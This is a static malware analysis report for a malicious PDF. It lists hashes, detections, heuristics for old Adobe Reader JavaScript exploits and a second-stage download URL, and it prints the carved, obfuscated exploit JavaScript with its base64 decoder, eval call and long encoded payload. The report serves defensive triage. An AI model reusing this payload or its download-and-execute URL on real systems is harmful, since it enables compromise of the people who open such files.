Malicious PDF — malware analysis report

Static analysis result for SHA-256 347200a0a9798dcf…

MALICIOUS

PDF

17.3 KB Created: 2009-08-07 08:01:51 Authoring application: LGUzx5Zv1iDa (via SRFWJHMaKe) First seen: 2012-07-12
MD5: d7a6eb6794775a72f20d3f7198464df6 SHA-1: 71572049da1f2cd202101ecc13d4a3818e776da0 SHA-256: 347200a0a9798dcf77ff0cb58a163b6c9e1607547a7f5408911aaffe652d498c
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF contains obfuscated JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, PDF_FROMCHARCODE, and PDF_EVAL. The ML classifier and ClamAV detection strongly suggest malicious intent. The embedded JavaScript is likely responsible for downloading and executing a second-stage payload, as suggested by the 'Js.Trojan.Obfus-48' ClamAV detection name.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(bpPFsDelxBgi);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x220 16402 bytes
SHA-256: 643f985aa89fcc35bdba5d5a11d41cad4f1b1d3846707fcb87a2fa282293aba9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 13 of 26 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnVjJ0cE9YZ29VbVZGT0dKWU0y') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var qIaB2i0Sh="";
                                var bpPFsDelxBgi="";
                                function omKsIz2rRKRcLA( cVLurEnu8R ) {
                                    var BsaVh1laDPLBb = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var a9zgSrzRtrsDJ, hTHNLst4te, J4zIe2, D1sEsrgliYy3, xVXWAZi, LaBSSsDBRC, vkirfZ6SUD, eSQay, JhXjIj = XbPv3c9XMrP2 = 0, HUwiPyApZ = "", tpKey = [];
                                    cVLurEnu8R += "";
                                    do {
                                        D1sEsrgliYy3 = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        xVXWAZi = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        LaBSSsDBRC = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        vkirfZ6SUD = BsaVh1laDPLBb.indexOf(cVLurEnu8R.charAt(JhXjIj++));
                                        eSQay = D1sEsrgliYy3<<18 | xVXWAZi<<12 | LaBSSsDBRC<<6 | vkirfZ6SUD;
                                        a9zgSrzRtrsDJ = eSQay>>16 & 0xff;
                                        hTHNLst4te = eSQay>>8 & 0xff;
                                        J4zIe2 = eSQay & 0xff;
                                        if (LaBSSsDBRC == 64) {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ);
                                        } else if (vkirfZ6SUD == 64) {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ, hTHNLst4te);
                                        } else {
                                            tpKey[XbPv3c9XMrP2++] = String.fromCharCode(a9zgSrzRtrsDJ, hTHNLst4te, J4zIe2);
                                        }
                                    } while (JhXjIj < cVLurEnu8R.length);
                                    HUwiPyApZ = tpKey.join("");
                                    HUwiPyApZ = OirxR0gdt(HUwiPyApZ);
                                    return HUwiPyApZ;
                                }
                                function OirxR0gdt ( a9zgSrzRtrsDJ ) {
                                    var hTHNLst4te = [], J4zIe2 = D1sEsrgliYy3 = cVLurEnu8R = xVXWAZi = LaBSSsDBRC = 0;
                                    a9zgSrzRtrsDJ += "";
                                    while ( J4zIe2 < a9zgSrzRtrsDJ.length ) {
                                        cVLurEnu8R = a9zgSrzRtrsDJ.charCodeAt(J4zIe2);
                                        if (cVLurEnu8R < 128) {
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(cVLurEnu8R);
                                            J4zIe2++;
                                        } else if ((cVLurEnu8R > 191) && (cVLurEnu8R < 224)) {
                                            xVXWAZi = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+1);
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(((cVLurEnu8R & 31) << 6) | (xVXWAZi & 63));
                                            J4zIe2 += 2;
                                        } else {
                                            xVXWAZi = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+1);
                                            LaBSSsDBRC = a9zgSrzRtrsDJ.charCodeAt(J4zIe2+2);
                                            hTHNLst4te[D1sEsrgliYy3++] = String.fromCharCode(((cVLurEnu8R & 15) << 12) | ((xVXWAZi & 63) << 6) | (LaBSSsDBRC & 63));
                                            J4zIe2 += 3;
                                        }
                                    }
                                    return hTHNLst4te.join("");
                                }

                qIaB2i0Sh= omKsIz2rRKRcLA("Wm5WdVkzUnBiMjRnVjJ0cE9YZ29VbVZGT0dKWU0yNVFkR3RZZFd3cGV5QnlaWFIxY200Z1UzUnlhVzVuV3lkbWNtOXRRMmhoY2tOdlpHVW5YU2hTWlVVNFlsZ3pibEIwYTFoMWJDazdmU0JtZFc1amRHbHZiaUJFVWsweGRDaHhiR2hCWWpSNGJVUnZOblZsVENsN0lIWmhjaUJKT1RFeGJrMUtVMlZTY2tRMGJUMHdMQ0I2VFhaWVZUMXhiR2hCWWpSNGJVUnZOblZsVEM1c1pXNW5kR2dzSUdsa1kxUm1OWEU5TVRBeU5Dd2dTM1JoYW1Gc1MyVnFPSE5aUTIwc0lFaGlSSFpYYkZCWE1qUXNJSEZwUkV0UFEwVjZkajBuSnl3Z1drZFZWVTlOTkdJd1JrRnJQVWs1TVRGdVRVcFRaVkp5UkRSdExDQk9SMFZXYlQxSk9URXhiazFLVTJWU2NrUTBiU3dnVDNaclNEQTFaa3hKWlQxSk9URXhiazFLVTJWU2NrUTBiU3dnZVZCWlluVjRQVUZ5Y21GNUtEWXpMRFFzTWpNc05UZ3NNVEVzTml3ME1Td3pOU3d5TWl3MU55d3dMREFzTUN3d0xEQXNNQ3d5Tml3ME15d3lNU3d6T1N3NUxETTRMREFzTWpBc05qQXNNaXcxTVN3MU5pdzBOeXcwT1N3eExEVTFMRE13TERZeUxETXpMRFVzTWpjc016SXNNamtzTlRJc05EQXNNalFzTVRNc01Dd3dMREFzTUN3ekxEQXNNVElzTVRBc01UWXNPQ3d6TkN3eE55dzNMREUxTERReUxEVTVMREU1TERRNExEVXdMREUwTERNMkxEVXpMREk0TERJMUxEUTBMRFExTERZeExETXhMRE0zTERRMkxERTRMRFUwS1RzZ1ptOXlLRWhpUkhaWGJGQlhNalE5VFdGMGFDNWpaV2xzS0hwTmRsaFZMMmxrWTFSbU5YRXBPMGhpUkhaWGJGQlhNalErU1RreE1XNU5TbE5sVW5KRU5HMDdTR0pFZGxkc1VGY3lOQzB0S1hzZ1ptOXlLRXQwWVdwaGJFdGxhamh6V1VOdFBVMWhkR2d1YldsdUtIcE5kbGhWTEdsa1kxUm1OWEVwTzB0MFlXcGhiRXRsYWpoeldVTnRQa2s1TVRGdVRVcFRaVkp5UkRSdE8wdDBZV3BoYkV0bGFqaHpXVU50TFMwc2VrMTJXRlV0TFNsN0lFOTJhMGd3TldaTVNXVjhQU2g1VUZsaWRYaGJjV3hvUVdJMGVHMUVieloxWlV3dVkyaGhja052WkdWQmRDaGFSMVZWVDAwMFlqQkdRV3NyS3lrdE5EaGRLVHc4VGtkRlZtMDdJR2xtS0U1SFJWWnRLWHNnY1dsRVMwOURSWHAyS3oxWGEyazVlQ2cxT1Y1UGRtdElNRFZtVEVsbEpqSTFOU2s3SUU5MmEwZ3dOV1pNU1dVK1BqMDRPeUJPUjBWV2JTMDlNanNnZlNCbGJITmxJSHNnVGtkRlZtMDlOanNnZlNCOUlIMGdaWFpoYkNoeGFVUkxUME5GZW5ZcE95QjlJRVJTVFRGMEtDZE5Va1ZaZEZwVlIyMXlWV3RDT1ZONVdUWndlVkJhWmpWUVMxZGZaRWhHU1ZCTFYxOWtTRVpKVUV0WFgyUklSa2xRUzFkSmRUa3lVRkJMTVVsa1MyTlFVRXRIWDFwVlEwWlFTMWRHTkc5RFJsQkxWMFkwYzFWSlVFdHZkblZTUmtsUVMyOTJSRWhHU1ZCTGIzWTVjRU5RVUV0dmRsOXpWVjlRUzBkMmRUbG5VRkJMUjNaMWNESjJVRXRYUmpsTlkzWlFTMWQyZFhWVmRsQkxiM1oxT1RKMlVFdEhYMmhMTW5aUVMyOTJaRmd5ZGxCTGIwWjFjR3hmVUV0WFgwUlhaMGxRUzI5R2RYQnNYMUJMUjE5Uk9XZGZVRXR2ZG5WMFJrbFFTMjkyZFRreVVGQkxSMTlvU3pKMlVFdEhVRWx6UmtsUVMwZGZZbUZHWDFCTGIzWmlXRU5KVUV0WFNXRnpSa2xRUzI5MmRUWlZTVkJMYjNaMU9USjJVRXR2VUROd1kxOVFTMGRRU1VzeVVGQkxNVjloWVVaZlVFdEhYMjVZVlVsUVMxZEpZVXREU1ZCTGIzWjFObU4yVUV0dmRuVTVNblpRUzI5UU0zQmpYMUJMUjFCSlMyZGZVRXN4VUROYVJsOVFTMjlKTkV0amRsQkxWMGxoYjJ4MlVFdHZkblYwYkhaUVMyOTJkVGt5ZGxCTGIxQXpjR05mVUV0SFVFbExaMGxRUzFkSk5HRkdYMUJMVjBsMWQxVkpVRXRYU1dGaFkzWlFTMjkyZFZKalVGQkxiM1oxT1RKMlVFdHZVRE53WTE5UVMwZFFTVmN5ZGxCTFIwbFJXa1pmVUV0WFNUTkVZMTlRUzFkSllVdEdYMUJMYjNaMWQxVkdVRXR2ZG5VNU1uWlFTMjlRTTNCalgxQkxiMUIxY0RKUVVFdFhkbUZYWTNaUVMyOUdNM2RHVUZCTFIxOWFXRlZmVUV0SGRtRllRMUJRUzI5MlgzTmpYMUJMYjNaMU9VTjJVRXRIVUdKTE1uWlFTMjlHTTNCalgxQkxSMTlvVlRKUVVFdHZkamsyUTFCUVMyOTJVVnBWWDFCTFIxOW9iekpmVUV0SGRtRnZRMUJRUzFkSllXOURSbEJMYjNaMWNHeGZVRXR2ZG5VNU1uWlFTMWRHWVc4eWRsQkxSM1p1U0VOR1VFdHZSblZTVDBsUVN6RmZYM05HWDFCTGIzWjFPVEoyVUV0SFgxcExNblpRUzBkMlpGaERVRkJMUjBremNHeGZVRXRIU1hWd1JsQlFTMGRmV204eWRsQkxNVkIxTmtOUVVFdHZTVFJoUmw5UVMyOTJkVGt5ZGxCTFIxQjFPVEoyVUV0dlVETndiRjlRUzFkR2JsY3lVRkJMUjFCYVMwOTJVRXRIVUROd2JGOVFTMWRKWVZkblgxQkxiM1oxV2xWMlVFdHZkblU1TW5aUVMyOVFNemxuVUZCTFIwbGZWVEoyVUV0SFVHUkxNblpRU3pGUVltUlZTVkJMUjBsZllWVlFVRXR2ZGprMk1uWlFTMWRHTTBSR1gxQkxiM1oxT1RKMlVFdHZSak0yYkVsUVMwZGZhRlV5ZGxCTGIzWmtXRU5RVUV0dmRsRmFWVjlRUzBkZmFHOHlYMUJMUjNaaGIwTlFVRXR2VUhWMFJsOVFTMjkyZFRreWRsQkxWMFp1U3pKMlVFdEhVR0ZMVDBaUVMyOVFNemxuVUZCTFYzWkxVakpRVUV0SFVFdFNiRjlRUzI5Sk5HOW5VRkJMTVZCMVJGVlFVRXRIVUV0M01uWlFTMjlRTTNCc1gxQkxWMFp1VjJkSlVFdEhVRnBMUTFCUVMwZFFNM0JzWDFCTFYwbGhWMmRmVUV0dmRuVlNaMUJRUzI5MmRUa3lkbEJMYjNaMVdsVmZVRXR2UmpNMmJFbFFTMGRmYUZVeWRsQkxiM1poV0VOUVVFdHZkakJhVlY5UVMwZGZhRzh5WDFCTFIzWmhiME5RVUV0SGRuVjBSbDlRUzI5MmRUa3lkbEJMVjBadVN6SjJVRXRIWDJoWWJFbFFTMGQyZFRaRFVGQkxiM1pSV2xWZlVFdEhYMmh2TWw5UVMwZDJZVzlEVUZCTGIzWjFkRVpmVUV0dmRuVTVNblpRUzI5UVVUa3lkbEJMUjFBd2QwOWZVRXRYU1ZFNVoxQlFTMWRKVVRsblVGQkxWMGxST1dkUVVFdFhTVkU1WjFCUVMxZEpaRmRHVUZCTFIxQnVTekpRVUV0SFgyaHZaMUJRUzFkSk1GSlZYMUJMUjFBd05teEdVRXRYU1hVMmJFbFFTMGRmYUc5RFVGQkxSMTlvYzBaSlVFdHZkbUZrWTBsUVMwZFFSRmRzWDFCTFIxQkpTMmRKVUV0dlJrdHdiRjlRUzBkZmFFaG5TVkJMUjNaaVpHTlFVRXR2ZGt0RVJsOVFTMGRRU1ZoR1VGQkxiMFpKVjJ4ZlVFdHZka3RTTW5aUVMxZDJTelpHVUZCTGIxQmFiMk5mVUV0WFgwUllRM1pRUzBkSlN6bG5VRkJMVjNaTGQwTkdVRXR2ZGpSWVZVWlFTMGQyZFRsVlNWQkxiMGt3ZFVOZlVFdHZkbUZrWTFCUVMwZEpZbTlWZGxCTGIzWkxPVEpKVUV0dlVIVTJiSFpRUzI5SlVYUnNYMUJMYjBsaVNFOWZVRXR2UmpOM1EwbFFTMGRRYm5OVlVGQkxWMGxvVjJ4ZlVFdEhVRzVYYkY5UVMyOTJTMUl5VUZCTFYwWkpWV05KVUV0dmRtUlhiRjlRUzBkZmFGaFBYMUJMUjNaa2IwTmZVRXN4U1VSTFoxQlFTMjkyT1hCc1gxQkxiM1pMY0d4ZlVFdEhVR0p2VlZCUVMwZEpNSGN5U1ZCTGIzWjFPV2RmVUV0dlNUbDBSbDlRUzI5Sk5GaFZTVkJMUjFBek5teEpVRXR2VUdSdlQzWlFTMjlRTkZneVNWQkxiM1oxTmtOSlVFc3hYMmhYYkVaUVN6RmZOR3hzWDFCTFIwbDFVbFZRVUV0SFgyRnZZM1pRUzBkZllteGpTVkJMUjE4d1RVWkpVRXRIU1ZGd1ZVbFFTMGRmZFhCR1NWQkxSMGwxY0d4MlVFc3hYelJzUmtsUVN6RkpXbGRHVUZCTFIxOUxkMk4yVUV0SFgySlhZM1pRUzBkSlVYQnNYMUJMUjE5ZmJHeEpVRXRYU1RSc2JFbHlaRTVHVkZkdk9FUjBUbEJFVFhCSGMyWjNjVUp5Vld0Q09WTjVXVFp3ZVZCYVpqVlFTMWRKTTNSVlVGQkxWMGt6ZEZWUWNtUk9SbG8yUW5sVVIzZENOVzlzU1VaWGJ6aEVkR1l5Y1hKalFqaE9abkZZUkRoVVgyUjNjVUp4ZHpKQ1RYQnJhMDVHYTJ0RWNFSlFXazVRUkUxd1IzTm1kM0ZDUWsxQ1VFSlRNbWhhY0U1V1RYY3hTM2N4TW10Tk5VSnRRbE14TlZVeWVYRmFVMVJIUkRKQ1JsZHZPRVIwWmtJNGQwSjVOVlV5ZVhGYVUxUkhSREpDUWxWdmEzSlNWMnRFUkVKQ2NWcE5TVEpYVXpKNVJtTnJRSGRYTldSMWIwZHhja1pRUkUxd1IzTm1kM0ZDUWs1NWJuZFRlV2gzYjBkQ1RYQXhOSEZPVUVSTmNFZHpabmR4UWtKTlFsQkNVekpvV25kVFZrMTNNVVpzVjBkNVZuY3lhMVZYYTNsTlFsTXlPVUpDY1hWWFIyTlhVekpuYzJ4alduTnNTVFJ6VlRGa2RXOUhjWEpHZVdoRVV6SmpWVmRyZVUxVE1VSnlRamhFVG1OclFIZFhOVUIzUjNrNGNtTkNVRTFYTlROM1IzbEFSRmN4ZVVaak1rZDNWekY1VTI5T05FWlZSMDVXVlVsRWMyeEpSbVJDWTJOR1VqRkdOa0o1UkhKVFdYbFRiM0kxVlZkcmVVMVRNVTFTUlZsMFdsVkhiWEpIYTBCM1Z6VmhRbkJHYzAxRFRuSllZMGxKYjA0eGNtUlZSa2xrVlVaSlpGVkdja1ptTlVsa1ZVWkpaR00xWTI5U1JrbGtWVVp5Um1ZMVgyRnNSbDloYkVaZmIwNHhjbUZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5dlRqRnlZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVp5Um1ZMVgyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWnlSbVkxWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMkZzUmw5aGJFWmZZV3hHWDJGc1JsOWhiRVpmWVdNMVkyOU5SbDloYkVaZllXeEdYMkZzUmw5aGJFWnlSbVkxWDJGc1JsOWhiRVpmWVd4R1gyRnNSbDloYkVaZllXeEdYMjlPTVhKaGJFWmZZV3hHWDJGc1JsOWhiRVpmWVd4R2NrWlZhMmhFY0VKQ2MwZDVlVUp3YTFaYVpqVlFTRlZmTkhOc1NWWjNUVk5oUW5CR2MwMURNVVpYZDJ0Q1VuQnJlV1pDUWxSWE9FazRkREZmVFhSdmNXdGtUVFZHZEdaclFIZFhOWEIwTld0b1ZtZDJNbmRzWTIwMlZ6VTFjMlpDVUUxWE5UTjNSM2xBUkZjeGVVWnNOVlk1UjBKWmRXOUhSMEp3TlRsMU1WUmxkM294T0RZeWNVUTVlbFpRVGpKQVh6WlBVMVJ2UWtJMFJtY3lkRFpDUUhselRtTlViRmRIZVZaM01sUmhVa0l6VXpKNWVGWkRNbXgzZW1NelFrMUNVRUpUTW1oYVFqRkVjV000UW5SR2NYRndSVGcyUkU1ak9EWXljVVE1ZWxaUVRqSkFYelpQTldOWmJEVTROakp4UkRsNlZsQk9Na0JmTm1kR05YUlNRak5UTW5sNFZrTXliSGQ2WXpOMFVrNVVXWGRRVFhkdlZFODVVM0UyV205UVFsVnZhM0pTVjJ0RVJFSkNjVnBOU1RKdlFrSTBSbWN5ZERaQ1FFZHZWVEZHYzJaNVVIVnZhMFJDY0RVNE5qSnhSRGw2VmxCT01rQmZObWRHVkZsWE5WWTVSMEpaZFc5SFIwSndOVEJUUWxaSGRERjJiR1pEUjNwYVVqRlVSbGMxV2paQ2VWUklPREphUWpKSlFGcHdWR1ZTVjNaYWNIQTFOWE5OU1Y5MFJqZzBWWEJKV1hSR09FWnpabXRBZDFjMVdWWm5lVFJDY0VCWGRGSk9WRXRIUWxCU01UaEFkRzh5YTI5U1oyNTFSa2xvVlZWbmJuVkdTV2hWVldkdWRVWkphRlZWWjI1MFkzWlJkME5uYmxKR1NXNXZRMmR1Y0dOZlMwUlZaMjVhYkVrNVJGVm5ibHBzU1RSWVZXZHVPVEoyWkZWVloyNDVNa2xvVlZWbmJqa3lVSFUyUTJkdU9VOUdORXRWWjI1d01uWlJVa05uYm5BeWRuVndRMmR1V21OUVlWZERaMjUxTW5ab1MwTm5iamt5ZGxGd1EyZHVjR3hmVVhCRFoyNDVaMGt6Y0VObmJrUmpkbHBJVldkdWRXTkpkVkpWWjI1RVkzWmFTRlZuYm5CVmRsRk5WV2R1T1RKMk5GVlZaMjQ1TW5aUmQwTm5ibkJzWDFGd1EyZHVkME5HTkZWVloyNXdWVWxmYkZWbmJqbERTVE0yVldkdWRFWmZORlZWWjI0NU1uWmlXRlZuYmpreWRsRndRMmR1TmtOUVdsZFZaMjUzUTBaUmQwTm5iazFHWDE5c1ZXZHVjRlZmWWxoVloyNTBSbDlSTmxWbmJqa3lkbUpYUTJkdU9USjJVWEJEWjI0MlExQmFWMVZuYm5kRFJsRk5WV2R1VWtOUVgyeFZaMjQyYkVsdVYwTm5iblJHWDBSSVEyZHVPVEoyTkVoRFoyNDVNblpSY0VObmJqWkRVRnBYVldkdWQwTkdVVkpWWjI1MGJFbGZiRlZuYm5SamRrUllWV2R1ZEVaZlgxZERaMjQ1TW5aa2IwTm5iamt5ZGxGd1EyZHVOa05RV2xkVloyNTNRMFoxY0VObmJuZFZkbDlzVldkdWRGVlFTVmRWWjI1MFJsOXViRlZuYmpreWRrUmtWV2R1T1RKMlVYQkRaMjQyUTFCYVYxVm5iall5ZG5WM1EyZHVkV2RmV2xkRFoyNUVWVkJFVlVObmJuQmpYMkpMVldkdWNHZGZNelpEWjI0NVQwWTBWMVZuYmpreWRsRTVRMmR1ZDBOSlVYQkRaMjVFVlZCYVYxVm5ibkJzWDB0M1EyZHVPVEpRTXpaRFoyNDVRM1pmUzFWbmJuQnNYemx3VldkdWNHZGZPVFpEWjI1MFJsODVSRlZuYmpreWRscElWV2R1T1RKMlVYQkRaMjVhUmw4NWNFTm5ibkJEWHpCRVZXZHVSR04yUzNSVloyNU5iRVkwYkZWbmJqa3lkbEZ3UTJkdWNHTmZVWEJEWjI1d1owa3pOa05uYm5kVlVGcElWV2R1ZDJOMldsVkRaMjV3WTE4NWNFTm5ibEl5ZGpNMlEyZHVObXhKWDJ4VloyNDVNblpSY0VObmJuY3lkbEZ3UTJkdU5rTlFXa2hWWjI1YVZWOTFkME5uYm5jeVgxRjFRMmR1ZDBOUVdraFZaMjUwUmw5MVRWVm5iamt5ZGw5TFEyZHVPVEoyVVhCRFoyNDJRMUJSVWtObmJuZHNSa3R3UTJkdWQyZEpVWEJEWjI1U1EwbEpXRlZuYm5kc1JsOVlRMmR1T1RKUU0zQkRaMjVhVlZCSmJGVm5iamt5ZGxGd1EyZHVSRlZRWW5OVloyNXdiRjlMY0VObmJqbG5TVE0yUTJkdU9VTjJYMHRWWjI1d2JGODVjRlZuYm5Cblh6azJRMmR1TmpKMk5HeFZaMjQ1TW5aUmNFTm5ibHBWWDFGd1EyZHVkMmRmVVZwVloyNDJRMUJSVWtObmJuVm5VRXQzUTJkdWQyZFFaRWhWWjI0MmJFazVVa05uYmxJeWRrbFlRMmR1ZDJkUU9YQkRaMjQyUTFCYVNGVm5ibHBWWDNWU1ZXZHVkekpmVVRaRFoyNTNRMUJhU0ZWbmJuUkdYM1ZOVldkdU9USjJTMUpEWjI0NU1uWlJjRU5uYmpreWRsOUxWV2R1UkZWUVluTlZaMjV3YkY5TGNFTm5iamxuWHpNMlEyZHVPVTkyWDB0VloyNXdiRjg1Y0ZWbmJuQm5YemsyUTJkdWNESjJOR3hWWjI0NU1uWlJjRU5uYmxwVlgxRndRMmR1Y0d4ZlluTlZaMjV3TW5Zek5rTm5iamxEZGw5TFZXZHVjR3hmT1hCVloyNXdaMTg1TmtObmJqa3lkalJzVldkdU9USjJVWEJEWjI0MlEzWlJjRU5uYm5kUGRqbDFWV2R1ZEZWMlVWSkRaMjUwVlhaUlVrTm5iblJWZGxGU1EyZHVkRlYyVVZKRFoyNTBSa2xhVlVObmJuZERYMUYzUTJkdWNHeGZPVkpEWjI1MGJIWmtTMVZuYm5kUGRtSmhWV2R1ZEdOMlluTlZaMjV3YkY4NU5rTm5ibkJzWHpSVlZXZHVPV2RmU1c5VloyNTNNa2xhU0ZWbmJuZERSbEZTVldkdVJFWlFXa2hWWjI1d2JGOHdVbFZuYm5CRFNVbHZRMmR1T1dkUVNXeFZaMjUzUTBaaVZVTm5ia1JWUmxwSVZXZHVPV2RRUzNCRFoyNTFaMUJpVlVObmJqWXlYMFJYVldkdWRXTkpNemxEWjI1M1JsQlJVa05uYm5WblVEbEVWV2R1T1U5SlltUlZaMjV3TW5adVdGVm5ialpzZGpBNVZXZHVPV2RmU1c5RFoyNTNWVWxFUzBObmJqbG5VRkYzVldkdU5qSjJZa2hEWjI0MlZYWTBTRlZuYmpaVlNUQjFWV2R1UkZWUU9UWlZaMjUzUTE4MFdFTm5iblJzWDFwSVZXZHVkME5mV2toVloyNDVaMUJMZDBObmJscFZSbVJ2VldkdU9XZEpXa2hWWjI1d2JGOHpkVlZuYm5CblNUazVWV2R1VW1OSlVWSkRaMjQ1TWxCYVNGVm5iamxuVUZwSVZXZHVkME5KUkZoRFoyNTNiSFk1ZDFWbmJqa3lkbEZOVldkdU5tTlFOR3hWWjI0MmJFbGlXRlZuYm5kRFVHSnpWV2R1Tm1kSk9YVkRaMjQyVDBremQxVm5iamt5ZGpNMlZXZHVjRlZHWkZkRFoyNVNiSFphU0ZWbmJrMUdTVVJYVldkdWNFWlFZWE5WWjI1U2JGOWtTREkxZVVac05WbzJRbmxVVjBOV1pqbFZhM0phUTNsSU9YQTFOWE5OU1Y5MWJFazBjMnhKTkVac05WbzJRbmxVU0U5WllUWTFhMnhFUjBjM1ZrTkNWRmxzTlZsV1ozazBRbkJBVjBKTlFsQkNVekpvV25BMVpuTm1TVVp6Wm10QWQxYzFja0p3U1d4TlFsUkFkM28xTlhObWRucFRkMTl1ZDNCeFlrMURNbFJaVFRWclNFOVpZVFkxYTJ4RVIwYzNWa05DWTNOc1kyUmhWVEZHYzJaclFIZFhOVGcyTW5GRU9YcFdVRTR5UUY4MlR6VTFjMUpyUWpsVGVWazJjSGxRV21ZMVVFdHZSalJrYkVsUVMyOUdOR1JzU1hKa1RrWlVXWGRRVFhkdlZFODVVM0UyV205UVZGbHNOVGwxTVZSbGQzb3hPRFl5Y1VRNWVsWlFUakpBWHpaUFUxUnZRa0kwUm1jeWREWkNRSGxHYkRWYU5rSjVWRmx3V1VsYU1WQTNkRkpPVkdGTlZGWndSMVpFV0hCSFRFUTFlVEJ3UnpKVVdVMDFOR0ZYWHpSemJFazBjMVV4UjFkRFZtWTVWV3R5V2tONVNEbFRSbFJYVTBKRWRFMHhXalpDZVZSdloxQndkV3haTWxad2EySTVRbGs0Y214SlJtOW5VSEIxYkZreVZuQnJZamxDV1RoV1ZVSTNSRmRqUzFvMVJqbFNNbFpvWVhwQ01uVnZlVkJUUlVKalJsSXhWRVpYTlhCME5XdG9WbWQyTW5kc1kyMDJNVms1VWpKV2FHRjZRakoxYjNsUVUwVkNSWFJTVGxSWmQxQk5kMjlVVHpsVGNUWmFiMUJVUmswMVdWWm5lVFJDY0VCWFRtdzFOWFJTWmxSWGQydENVbkJyZVdaQ1FsUXhSVVpoWVRGUVJHUjZNWGx6VG1OVVYyODRSSFJtY1RSMFZXTTJUVUpyUkhWQ2RqUnlRMEpVV1d3MVFIUlhlVUpYYjBkUVRXOHlSSEJGTWtSU2IwZEhRa0pUYUdaVFFHaDNiMGRDVFhBeGVVWnNOVTEwVjBsSmR6VXlXbmRYTW5WMGIxWTRkRkpPVkRGUGVUUmtSMEJ4Y0VkNWRuQlBlWHB5UWxORU9YQjVNalpUT0ZCY